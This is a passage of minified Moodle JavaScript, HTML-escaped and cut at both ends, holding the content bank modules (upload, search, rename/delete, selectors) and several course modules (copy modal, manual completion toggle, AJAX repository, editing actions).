isNaN(aa)||(aa=parseInt(aa),bb=parseInt(bb)),ascending?aa&gt;bb?1:-1:aa&lt;bb?1:-1})).forEach((listItem=&gt;fileArea.appendChild(listItem)))}}));
define(&quot;core_contentbank/upload&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/str&quot;],(function(_exports,_modalform,_str){var obj;
/**
   * Module to handle AJAX interactions with content bank upload files.
   *
   * @module     core_contentbank/upload
   * @copyright  2021 Sara Arjona &lt;sara@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.initModal=void 0,_modalform=(obj=_modalform)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.initModal=(elementSelector,formClass,contextId,contentId)=&gt;{document.querySelector(elementSelector).addEventListener(&quot;click&quot;,(function(e){e.preventDefault();const form=new _modalform.default({formClass:formClass,args:{contextid:contextId,id:contentId},modalConfig:{title:(0,_str.get_string)(&quot;upload&quot;,&quot;contentbank&quot;)},returnFocus:e.target});form.addEventListener(form.events.FORM_SUBMITTED,(event=&gt;{document.location=event.detail.returnurl})),form.show()}))}}));
define(&quot;core_contentbank/search&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core_contentbank/selectors&quot;,&quot;core/str&quot;,&quot;core/pending&quot;,&quot;core/utils&quot;],(function(_exports,_jquery,_selectors,_str,_pending,_utils){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Search methods for finding contents in the content bank.
   *
   * @module     core_contentbank/search
   * @copyright  2020 Sara Arjona &lt;sara@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_selectors=_interopRequireDefault(_selectors),_pending=_interopRequireDefault(_pending);_exports.init=()=&gt;{const pendingPromise=new _pending.default,root=(0,_jquery.default)(_selectors.default.regions.contentbank);registerListenerEvents(root),pendingPromise.resolve()};const registerListenerEvents=root=&gt;{const searchInput=root.find(_selectors.default.elements.searchinput)[0];root.on(&quot;click&quot;,_selectors.default.actions.search,(function(e){e.preventDefault(),toggleSearchResultsView(root,searchInput.value)})),root.on(&quot;click&quot;,_selectors.default.actions.clearSearch,(function(e){e.preventDefault(),searchInput.value=&quot;&quot;,searchInput.focus(),toggleSearchResultsView(root,searchInput.value)})),searchInput.addEventListener(&quot;input&quot;,(0,_utils.debounce)((()=&gt;{toggleSearchResultsView(root,searchInput.value)}),300))},toggleSearchResultsView=async(body,searchQuery)=&gt;{const clearSearchButton=body.find(_selectors.default.actions.clearSearch)[0],navbarBreadcrumb=body.find(_selectors.default.elements.cbnavbarbreadcrumb)[0],navbarTotal=body.find(_selectors.default.elements.cbnavbartotalsearch)[0],filteredContents=filterContents(body,searchQuery);searchQuery.length&gt;0?(clearSearchButton.classList.remove(&quot;d-none&quot;),navbarBreadcrumb.classList.add(&quot;d-none&quot;),navbarTotal.innerHTML=await(0,_str.get_string)(&quot;itemsfound&quot;,&quot;core_contentbank&quot;,filteredContents.length),navbarTotal.classList.remove(&quot;d-none&quot;)):(clearSearchButton.classList.add(&quot;d-none&quot;),navbarBreadcrumb.classList.remove(&quot;d-none&quot;),navbarTotal.classList.add(&quot;d-none&quot;))},filterContents=(body,searchTerm)=&gt;{const contents=Array.from(body.find(_selectors.default.elements.listitem)),searchResults=[];return contents.forEach((content=&gt;{const contentName=content.getAttribute(&quot;data-name&quot;);if(&quot;&quot;===searchTerm||contentName.toLowerCase().includes(searchTerm.toLowerCase())){searchResults.push(content);content.querySelector(_selectors.default.regions.cbcontentname).innerHTML=highlight(contentName,searchTerm),content.classList.remove(&quot;d-none&quot;)}else content.classList.add(&quot;d-none&quot;)})),searchResults},highlight=(text,highlightText)=&gt;{let result=text;if(&quot;&quot;!==highlightText){const pos=text.toLowerCase().indexOf(highlightText.toLowerCase());pos&gt;-1&amp;&amp;(result=text.substr(0,pos)+&#039;&lt;span class=&quot;matchtext&quot;&gt;&#039;+text.substr(pos,highlightText.length)+&quot;&lt;/span&gt;&quot;+text.substr(pos+highlightText.length))}return result}}));
/**
 * Module to manage content bank actions, such as delete or rename.
 *
 * @module     core_contentbank/actions
 * @copyright  2020 Sara Arjona &lt;sara@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_contentbank/actions&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/url&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,Ajax,Notification,Str,Templates,Url,ModalFactory,ModalEvents){var ACTIONS_DELETE_CONTENT=&#039;[data-action=&quot;deletecontent&quot;]&#039;,ACTIONS_RENAME_CONTENT=&#039;[data-action=&quot;renamecontent&quot;]&#039;,ACTIONS_SET_CONTENT_VISIBILITY=&#039;[data-action=&quot;setcontentvisibility&quot;]&#039;,Actions=function(){this.registerEvents()};return Actions.prototype.registerEvents=function(){$(ACTIONS_DELETE_CONTENT).click((function(e){e.preventDefault();var contentname=$(this).data(&quot;contentname&quot;),contentuses=$(this).data(&quot;uses&quot;),contentid=$(this).data(&quot;contentid&quot;),contextid=$(this).data(&quot;contextid&quot;),strings=[{key:&quot;deletecontent&quot;,component:&quot;core_contentbank&quot;},{key:&quot;deletecontentconfirm&quot;,component:&quot;core_contentbank&quot;,param:{name:contentname}},{key:&quot;deletecontentconfirmlinked&quot;,component:&quot;core_contentbank&quot;},{key:&quot;delete&quot;,component:&quot;core&quot;}],deleteButtonText=&quot;&quot;;Str.get_strings(strings).then((function(langStrings){var modalTitle=langStrings[0],modalContent=langStrings[1];return contentuses&gt;0&amp;&amp;(modalContent+=&quot; &quot;+langStrings[2]),deleteButtonText=langStrings[3],ModalFactory.create({title:modalTitle,body:modalContent,type:ModalFactory.types.SAVE_CANCEL,large:!0})})).done((function(modal){modal.setSaveButtonText(deleteButtonText),modal.getRoot().on(ModalEvents.save,(function(){return function(contentid,contextid){var request={methodname:&quot;core_contentbank_delete_content&quot;,args:{contentids:{contentid:contentid}}},requestType=&quot;success&quot;;Ajax.call([request])[0].then((function(data){return data.result?&quot;contentdeleted&quot;:(requestType=&quot;error&quot;,&quot;contentnotdeleted&quot;)})).done((function(message){var params={contextid:contextid};&quot;success&quot;==requestType?params.statusmsg=message:params.errormsg=message,window.location.href=Url.relativeUrl(&quot;contentbank/index.php&quot;,params,!1)})).fail(Notification.exception)}(contentid,contextid)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show()})).catch(Notification.exception)})),$(ACTIONS_RENAME_CONTENT).click((function(e){e.preventDefault();var contentname=$(this).data(&quot;contentname&quot;),contentid=$(this).data(&quot;contentid&quot;),saveButtonText=&quot;&quot;;Str.get_strings([{key:&quot;renamecontent&quot;,component:&quot;core_contentbank&quot;},{key:&quot;rename&quot;,component:&quot;core_contentbank&quot;}]).then((function(langStrings){var modalTitle=langStrings[0];return saveButtonText=langStrings[1],ModalFactory.create({title:modalTitle,body:Templates.render(&quot;core_contentbank/renamecontent&quot;,{contentid:contentid,name:contentname}),type:ModalFactory.types.SAVE_CANCEL})})).then((function(modal){modal.setSaveButtonText(saveButtonText),modal.getRoot().on(ModalEvents.save,(function(e){var newname=$(&quot;#newname&quot;).val().trim();if(newname)!function(contentid,name){var request={methodname:&quot;core_contentbank_rename_content&quot;,args:{contentid:contentid,name:name}},requestType=&quot;success&quot;;Ajax.call([request])[0].then((function(data){return data.result?&quot;contentrenamed&quot;:(requestType=&quot;error&quot;,data.warnings[0].message)})).then((function(message){var params=null;&quot;success&quot;==requestType?(params={id:contentid,statusmsg:message},window.location.href=Url.relativeUrl(&quot;contentbank/view.php&quot;,params,!1)):(Notification.addNotification({message:message,type:&quot;error&quot;}),Notification.fetchNotifications())})).catch(Notification.exception)}(contentid,newname);else{Str.get_strings([{key:&quot;error&quot;},{key:&quot;emptynamenotallowed&quot;,component:&quot;core_contentbank&quot;}]).then((function(langStrings){Notification.alert(langStrings[0],langStrings[1])})).catch(Notification.exception),e.preventDefault()}})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show()})).catch(Notification.exception)})),$(ACTIONS_SET_CONTENT_VISIBILITY).click((function(e){e.preventDefault(),function(contentid,visibility){var request={methodname:&quot;core_contentbank_set_content_visibility&quot;,args:{contentid:contentid,visibility:visibility}},requestType=&quot;success&quot;;Ajax.call([request])[0].then((function(data){return data.result?&quot;contentvisibilitychanged&quot;:(requestType=&quot;error&quot;,data.warnings[0].message)})).then((function(message){var params=null;&quot;success&quot;==requestType?(params={id:contentid,statusmsg:message},window.location.href=Url.relativeUrl(&quot;contentbank/view.php&quot;,params,!1)):(Notification.addNotification({message:message,type:&quot;error&quot;}),Notification.fetchNotifications())})).catch(Notification.exception)}($(this).data(&quot;contentid&quot;),$(this).data(&quot;visibility&quot;))}))},{init:function(){return new Actions}}}));
define(&quot;core_contentbank/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Define all of the selectors we will be using on the contentbank interface.
   *
   * @module     core_contentbank/selectors
   * @copyright  2020 Sara Arjona &lt;sara@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const getDataSelector=(name,value)=&gt;&quot;[data-&quot;.concat(name,&#039;=&quot;&#039;).concat(value,&#039;&quot;]&#039;);var _default={regions:{cbcontentname:getDataSelector(&quot;region&quot;,&quot;cb-content-name&quot;),contentbank:getDataSelector(&quot;region&quot;,&quot;contentbank&quot;),filearea:getDataSelector(&quot;region&quot;,&quot;filearea&quot;)},actions:{search:getDataSelector(&quot;action&quot;,&quot;searchcontent&quot;),clearSearch:getDataSelector(&quot;action&quot;,&quot;clearsearch&quot;),viewgrid:getDataSelector(&quot;action&quot;,&quot;viewgrid&quot;),viewlist:getDataSelector(&quot;action&quot;,&quot;viewlist&quot;),sortname:getDataSelector(&quot;action&quot;,&quot;sortname&quot;),sortuses:getDataSelector(&quot;action&quot;,&quot;sortuses&quot;),sortdate:getDataSelector(&quot;action&quot;,&quot;sortdate&quot;),sortsize:getDataSelector(&quot;action&quot;,&quot;sortsize&quot;),sorttype:getDataSelector(&quot;action&quot;,&quot;sorttype&quot;),sortauthor:getDataSelector(&quot;action&quot;,&quot;sortauthor&quot;)},elements:{listitem:&quot;.cb-listitem&quot;,heading:&quot;.cb-heading&quot;,cell:&quot;.cb-column&quot;,cbnavbarbreadcrumb:&quot;.cb-navbar-breadbrumb&quot;,cbnavbartotalsearch:&quot;.cb-navbar-totalsearch&quot;,searchinput:&quot;#searchinput&quot;,sortbutton:&quot;.cb-btnsort&quot;}};return _exports.default=_default,_exports.default}));
/**
 * This module provides the course copy modal from the course and
 * category management screen.
 *
 * @module     core_course/copy_modal
 * @copyright  2020 onward The Moodle Users Association &lt;https://moodleassociation.org/&gt;
 * @author     Matt Porritt &lt;mattp@catalyst-au.net&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.9
 */
define(&quot;core_course/copy_modal&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/ajax&quot;,&quot;core/fragment&quot;,&quot;core/notification&quot;,&quot;core/config&quot;],(function($,Str,ModalFactory,ModalEvents,ajax,Fragment,Notification,Config){var contextid,course,modalObj,CopyModal={},spinner=&#039;&lt;p class=&quot;text-center&quot;&gt;&lt;i class=&quot;fa fa-spinner fa-pulse fa-2x fa-fw&quot;&gt;&lt;/i&gt;&lt;/p&gt;&#039;;function updateModalBody(formdata){void 0===formdata&amp;&amp;(formdata={});var params={jsonformdata:JSON.stringify(formdata),courseid:course.id};modalObj.setBody(spinner),Str.get_string(&quot;copycoursetitle&quot;,&quot;backup&quot;,course.shortname).then((function(title){modalObj.setTitle(title),modalObj.setBody(Fragment.loadFragment(&quot;course&quot;,&quot;new_base_form&quot;,contextid,params))})).catch((function(){Notification.exception(new Error(&quot;Failed to load string: copycoursetitle&quot;))}))}function processModalForm(e){e.preventDefault();var copyform=modalObj.getRoot().find(&quot;form&quot;).serialize(),formjson=JSON.stringify(copyform),invalid=$.merge(modalObj.getRoot().find(&#039;[aria-invalid=&quot;true&quot;]&#039;),modalObj.getRoot().find(&quot;.error&quot;));invalid.length?invalid.first().focus():ajax.call([{methodname:&quot;core_backup_submit_copy_form&quot;,args:{jsonformdata:formjson}}])[0].done((function(){if(modalObj.setBody(spinner),modalObj.hide(),1==e.formredirect){let redirect=Config.wwwroot+&quot;/backup/copyprogress.php?id=&quot;+course.id;window.location.assign(redirect)}})).fail((function(){updateModalBody(copyform)}))}return CopyModal.init=function(context){contextid=context,Str.get_string(&quot;loading&quot;).then((function(title){ModalFactory.create({type:ModalFactory.types.DEFAULT,title:title,body:spinner,large:!0}).done((function(modal){(modalObj=modal).getRoot().on(&quot;click&quot;,&quot;#id_submitreturn&quot;,processModalForm),modalObj.getRoot().on(&quot;click&quot;,&quot;#id_submitdisplay&quot;,(function(e){e.formredirect=!0,processModalForm(e)})),modalObj.getRoot().on(&quot;click&quot;,&quot;#id_cancel&quot;,(function(e){e.preventDefault(),modalObj.setBody(spinner),modalObj.hide()}))}))})).catch((function(){Notification.exception(new Error(&quot;Failed to load string: loading&quot;))})),$(&quot;.action-copy&quot;).on(&quot;click&quot;,(function(e){e.preventDefault();let url=new URL(this.getAttribute(&quot;href&quot;)),courseid=new URLSearchParams(url.search).get(&quot;id&quot;);ajax.call([{methodname:&quot;core_course_get_courses&quot;,args:{options:{ids:[courseid]}}}])[0].done((function(response){course=response[0],updateModalBody()})).fail((function(){Notification.exception(new Error(&quot;Failed to load course&quot;))})),modalObj.show()}))},CopyModal}));
define(&quot;core_course/manual_completion_toggle&quot;,[&quot;exports&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core_course/repository&quot;,&quot;core_course/events&quot;],(function(_exports,_templates,_notification,_repository,CourseEvents){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Provides the functionality for toggling the manual completion state of a course module through
   * the manual completion button.
   *
   * @module      core_course/manual_completion_toggle
   * @copyright   2021 Jun Pataleta &lt;jun@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_templates=_interopRequireDefault(_templates),_notification=_interopRequireDefault(_notification),CourseEvents=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(CourseEvents);const SELECTORS_MANUAL_TOGGLE=&quot;button[data-action=toggle-manual-completion]&quot;,TOGGLE_TYPES_TOGGLE_MARK_DONE=&quot;manual:mark-done&quot;;let registered=!1;_exports.init=()=&gt;{registered||(document.addEventListener(&quot;click&quot;,(e=&gt;{const toggleButton=e.target.closest(SELECTORS_MANUAL_TOGGLE);toggleButton&amp;&amp;(e.preventDefault(),toggleManualCompletionState(toggleButton).catch(_notification.default.exception))})),registered=!0)};const toggleManualCompletionState=async toggleButton=&gt;{const originalInnerHtml=toggleButton.innerHTML;toggleButton.setAttribute(&quot;disabled&quot;,&quot;disabled&quot;);const toggleType=toggleButton.getAttribute(&quot;data-toggletype&quot;),cmid=toggleButton.getAttribute(&quot;data-cmid&quot;),activityname=toggleButton.getAttribute(&quot;data-activityname&quot;),completed=toggleType===TOGGLE_TYPES_TOGGLE_MARK_DONE,loadingHtml=await _templates.default.render(&quot;core/loading&quot;,{});await _templates.default.replaceNodeContents(toggleButton,loadingHtml,&quot;&quot;);try{await(0,_repository.toggleManualCompletion)(cmid,completed);const templateContext={cmid:cmid,activityname:activityname,overallcomplete:completed,overallincomplete:!completed,istrackeduser:!0},renderObject=await _templates.default.renderForPromise(&quot;core_course/completion_manual&quot;,templateContext),newToggleButton=(await _templates.default.replaceNode(toggleButton,renderObject.html,renderObject.js)).pop(),withAvailability=toggleButton.getAttribute(&quot;data-withavailability&quot;),toggledEvent=new CustomEvent(CourseEvents.manualCompletionToggled,{bubbles:!0,detail:{cmid:cmid,activityname:activityname,completed:completed,withAvailability:withAvailability}});newToggleButton.dispatchEvent(toggledEvent)}catch(exception){toggleButton.removeAttribute(&quot;disabled&quot;),toggleButton.innerHTML=originalInnerHtml,_notification.default.exception(exception)}}}));
define(&quot;core_course/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * A javascript module to handle course ajax actions.
   *
   * @module     core_course/repository
   * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};var _default={getEnrolledCoursesByTimelineClassification:(classification,limit,offset,sort)=&gt;{const args={classification:classification};void 0!==limit&amp;&amp;(args.limit=limit),void 0!==offset&amp;&amp;(args.offset=offset),void 0!==sort&amp;&amp;(args.sort=sort);const request={methodname:&quot;core_course_get_enrolled_courses_by_timeline_classification&quot;,args:args};return _ajax.default.call([request])[0]},getLastAccessedCourses:(userid,limit,offset,sort)=&gt;{const args={};void 0!==userid&amp;&amp;(args.userid=userid),void 0!==limit&amp;&amp;(args.limit=limit),void 0!==offset&amp;&amp;(args.offset=offset),void 0!==sort&amp;&amp;(args.sort=sort);const request={methodname:&quot;core_course_get_recent_courses&quot;,args:args};return _ajax.default.call([request])[0]},getUsersFromCourseModuleID:(cmid,groupID)=&gt;{var request={methodname:&quot;core_course_get_enrolled_users_by_cmid&quot;,args:{cmid:cmid,groupid:groupID}};return _ajax.default.call([request])[0]},toggleManualCompletion:(cmid,completed)=&gt;{const request={methodname:&quot;core_completion_update_activity_completion_status_manually&quot;,args:{cmid:cmid,completed:completed}};return _ajax.default.call([request])[0]},getEnrolledCoursesWithEventsByTimelineClassification:function(classification){let limit=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:0,offset=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:0,sort=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:null,searchValue=arguments.length&gt;4&amp;&amp;void 0!==arguments[4]?arguments[4]:null,eventsFrom=arguments.length&gt;5&amp;&amp;void 0!==arguments[5]?arguments[5]:null,eventsTo=arguments.length&gt;6&amp;&amp;void 0!==arguments[6]?arguments[6]:null;const args={classification:classification,limit:limit,offset:offset,sort:sort,eventsfrom:eventsFrom,eventsto:eventsTo,searchvalue:searchValue},request={methodname:&quot;core_course_get_enrolled_courses_with_action_events_by_timeline_classification&quot;,args:args};return _ajax.default.call([request])[0]}};return _exports.default=_default,_exports.default}));
/**
 * Various actions on modules and sections in the editing mode - hiding, duplicating, deleting, etc.
 *
 * @module     core_course/actions
 * @copyright  2016 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.3
 */
define(&quot;core_course/actions&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/url&quot;,&quot;core/yui&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/key_codes&quot;,&quot;core/log&quot;,&quot;core_courseformat/courseeditor&quot;,&quot;core/event_dispatcher&quot;,&quot;core_course/events&quot;],(function($,ajax,templates,notification,str,url,Y,ModalFactory,ModalEvents,KeyCodes,log,editor,EventDispatcher,CourseEvents){const componentActions=[&quot;moveSection&quot;,&quot;moveCm&quot;,&quot;addSection&quot;,&quot;deleteSection&quot;],courseeditor=editor.getCurrentCourseEditor();let formatname;var CSS_EDITINPROGRESS=&quot;editinprogress&quot;,CSS_EDITINGMOVE=&quot;editing_move&quot;,SELECTOR={ACTIVITYLI:&quot;li.activity&quot;,ACTIONAREA:&quot;.actions&quot;,ACTIVITYACTION:&quot;a.cm-edit-action&quot;,MENU:&quot;.moodle-actionmenu[data-enhance=moodle-core-actionmenu]&quot;,TOGGLE:&quot;.toggle-display,.dropdown-toggle&quot;,SECTIONLI:&quot;li.section&quot;,SECTIONACTIONMENU:&quot;.section_action_menu&quot;,ADDSECTIONS:&quot;.changenumsections [data-add-sections]&quot;,SECTIONBADGES:&#039;[data-region=&quot;sectionbadges&quot;]&#039;};Y.use(&quot;moodle-course-coursebase&quot;,(function(){var courseformatselector=M.course.format.get_section_selector();courseformatselector&amp;&amp;(SELECTOR.SECTIONLI=courseformatselector)}));const dispatchEvent=function(eventName,detail,container,options){return container instanceof Element||void 0===container.get||(container=container.get(0)),EventDispatcher.dispatchEvent(eventName,detail,container,options)};var getModuleId=function(element){const item=element.get(0);if(item.dataset.id)return item.dataset.id;let id;return Y.use(&quot;moodle-course-util&quot;,(function(Y){id=Y.Moodle.core_course.util.cm.getId(Y.Node(item))})),id},addActivitySpinner=function(activity){activity.addClass(CSS_EDITINPROGRESS);var actionarea=activity.find(SELECTOR.ACTIONAREA).get(0);if(actionarea){var spinner=M.util.add_spinner(Y,Y.Node(actionarea));return spinner.show(),void 0!==activity.data(&quot;id&quot;)&amp;&amp;courseeditor.dispatch(&quot;cmLock&quot;,[activity.data(&quot;id&quot;)],!0),spinner}return null},addSectionSpinner=function(sectionelement){sectionelement.addClass(CSS_EDITINPROGRESS);var actionarea=sectionelement.find(SELECTOR.SECTIONACTIONMENU).get(0);if(actionarea){var spinner=M.util.add_spinner(Y,Y.Node(actionarea));return spinner.show(),void 0!==sectionelement.data(&quot;id&quot;)&amp;&amp;courseeditor.dispatch(&quot;sectionLock&quot;,[sectionelement.data(&quot;id&quot;)],!0),spinner}return null},addSectionLightbox=function(sectionelement){const item=sectionelement.get(0);var lightbox=M.util.add_lightbox(Y,Y.Node(item));return&quot;section&quot;==item.dataset.for&amp;&amp;item.dataset.id&amp;&amp;(courseeditor.dispatch(&quot;sectionLock&quot;,[item.dataset.id],!0),lightbox.setAttribute(&quot;data-state&quot;,&quot;section&quot;),lightbox.setAttribute(&quot;data-state-id&quot;,item.dataset.id)),lightbox.show(),lightbox},removeSpinner=function(element,spinner,delay){window.setTimeout((function(){if(element.removeClass(CSS_EDITINPROGRESS),spinner&amp;&amp;spinner.hide(),void 0!==element.data(&quot;id&quot;)){const mutation=&quot;section&quot;===element.data(&quot;for&quot;)?&quot;sectionLock&quot;:&quot;cmLock&quot;;courseeditor.dispatch(mutation,[element.data(&quot;id&quot;)],!1)}}),delay)},removeLightbox=function(lightbox,delay){lightbox&amp;&amp;window.setTimeout((function(){lightbox.hide(),lightbox.getAttribute(&quot;data-state&quot;)&amp;&amp;courseeditor.dispatch(&quot;&quot;.concat(lightbox.getAttribute(&quot;data-state&quot;),&quot;Lock&quot;),[lightbox.getAttribute(&quot;data-state-id&quot;)],!1)}),delay)},initActionMenu=function(elementid){Y.use(&quot;moodle-course-coursebase&quot;,(function(){M.course.coursebase.invoke_function(&quot;setup_for_resource&quot;,&quot;#&quot;+elementid)})),M.core.actionmenu&amp;&amp;M.core.actionmenu.newDOMNode&amp;&amp;M.core.actionmenu.newDOMNode(Y.one(&quot;#&quot;+elementid))},editModule=function(moduleElement,cmid,target){var lightbox,action=target.attr(&quot;data-action&quot;),spinner=addActivitySpinner(moduleElement),promises=ajax.call([{methodname:&quot;core_course_edit_module&quot;,args:{id:cmid,action:action,sectionreturn:target.attr(&quot;data-sectionreturn&quot;)?target.attr(&quot;data-sectionreturn&quot;):0}}],!0);&quot;duplicate&quot;===action&amp;&amp;(lightbox=addSectionLightbox(target.closest(SELECTOR.SECTIONLI))),$.when.apply($,promises).done((function(data){var mainElement,tabables,isInside,foundElement,elementToFocus=(mainElement=moduleElement,tabables=$(&quot;a:visible&quot;),isInside=!1,foundElement=null,tabables.each((function(){if($.contains(mainElement[0],this))isInside=!0;else if(isInside)return foundElement=this,!1;return!0})),foundElement);moduleElement.replaceWith(data);let affectedids=[];$(&quot;&lt;div&gt;&quot;+data+&quot;&lt;/div&gt;&quot;).find(SELECTOR.ACTIVITYLI).each((function(index){initActionMenu($(this).attr(&quot;id&quot;)),0===index&amp;&amp;(!function(elementId,action){var mainelement=$(&quot;#&quot;+elementId),selector=&quot;[data-action=&quot;+action+&quot;]&quot;;&quot;groupsseparate&quot;!==action&amp;&amp;&quot;groupsvisible&quot;!==action&amp;&amp;&quot;groupsnone&quot;!==action||(selector=&quot;[data-action=groupsseparate],[data-action=groupsvisible],[data-action=groupsnone]&quot;),mainelement.find(selector).is(&quot;:visible&quot;)?mainelement.find(selector).focus():mainelement.find(SELECTOR.MENU).find(SELECTOR.TOGGLE).focus()}($(this).attr(&quot;id&quot;),action),elementToFocus=null),affectedids.push(getModuleId($(this)))})),elementToFocus&amp;&amp;elementToFocus.focus(),removeSpinner(moduleElement,spinner,400),removeLightbox(lightbox,400),moduleElement.trigger($.Event(&quot;coursemoduleedited&quot;,{ajaxreturn:data,action:action})),courseeditor.dispatch(&quot;legacyActivityAction&quot;,action,cmid,affectedids)})).fail((function(ex){removeSpinner(moduleElement,spinner),removeLightbox(lightbox);var e=$.Event(&quot;coursemoduleeditfailed&quot;,{exception:ex,action:action});moduleElement.trigger(e),e.isDefaultPrevented()||notification.exception(ex)}))},refreshModule=function(element,cmid,sectionreturn){void 0===sectionreturn&amp;&amp;(sectionreturn=courseeditor.sectionReturn);const activityElement=$(element);var spinner=addActivitySpinner(activityElement),promises=ajax.call([{methodname:&quot;core_course_get_module&quot;,args:{id:cmid,sectionreturn:sectionreturn}}],!0);return new Promise(((resolve,reject)=&gt;{$.when.apply($,promises).done((function(data){removeSpinner(activityElement,spinner,400),replaceActivityHtmlWith(data),resolve(data)})).fail((function(){removeSpinner(activityElement,spinner),reject()}))}))},confirmDeleteModule=function(mainelement,onconfirm){var modtypename=mainelement.attr(&quot;class&quot;).match(/modtype_([^\s]*)/)[1],modulename=function(element){var name;Y.use(&quot;moodle-course-util&quot;,(function(Y){name=Y.Moodle.core_course.util.cm.getName(Y.Node(element.get(0)))}));const state=courseeditor.state,cmid=getModuleId(element);var _state$cm$get;return!name&amp;&amp;state&amp;&amp;cmid&amp;&amp;(name=null===(_state$cm$get=state.cm.get(cmid))||void 0===_state$cm$get?void 0:_state$cm$get.name),name}(mainelement);str.get_string(&quot;pluginname&quot;,modtypename).done((function(pluginname){var plugindata={type:pluginname,name:modulename};str.get_strings([{key:&quot;confirm&quot;,component:&quot;core&quot;},{key:null===modulename?&quot;deletechecktype&quot;:&quot;deletechecktypename&quot;,param:plugindata},{key:&quot;yes&quot;},{key:&quot;no&quot;}]).done((function(s){notification.confirm(s[0],s[1],s[2],s[3],onconfirm)}))}))},replaceActionItem=function(actionitem,image,stringname,stringcomponent,newaction){var stringRequests=[{key:stringname,component:stringcomponent}];return str.get_strings(stringRequests).then((function(strings){return actionitem.find(&quot;span.menu-action-text&quot;).html(strings[0]),templates.renderPix(image,&quot;core&quot;)})).then((function(pixhtml){actionitem.find(&quot;.icon&quot;).replaceWith(pixhtml),actionitem.attr(&quot;data-action&quot;,newaction)})).catch(notification.exception)},defaultEditSectionHandler=function(sectionElement,actionItem,data,courseformat,sectionid){var action=actionItem.attr(&quot;data-action&quot;);if(&quot;hide&quot;===action||&quot;show&quot;===action){if(&quot;hide&quot;===action?(sectionElement.addClass(&quot;hidden&quot;),setSectionBadge(sectionElement[0],&quot;hiddenfromstudents&quot;,!0),replaceActionItem(actionItem,&quot;i/show&quot;,&quot;showfromothers&quot;,&quot;format_&quot;+courseformat,&quot;show&quot;)):(setSectionBadge(sectionElement[0],&quot;hiddenfromstudents&quot;,!1),sectionElement.removeClass(&quot;hidden&quot;),replaceActionItem(actionItem,&quot;i/hide&quot;,&quot;hidefromothers&quot;,&quot;format_&quot;+courseformat,&quot;hide&quot;)),void 0!==data.modules)for(var i in data.modules)replaceActivityHtmlWith(data.modules[i]);void 0!==data.section_availability&amp;&amp;sectionElement.find(&quot;.section_availability&quot;).first().replaceWith(data.section_availability);void 0!==courseeditor.state.section.get(sectionid)&amp;&amp;courseeditor.dispatch(&quot;sectionState&quot;,[sectionid])}else if(&quot;setmarker&quot;===action){var oldmarker=$(SELECTOR.SECTIONLI+&quot;.current&quot;),oldActionItem=oldmarker.find(SELECTOR.SECTIONACTIONMENU+&quot; 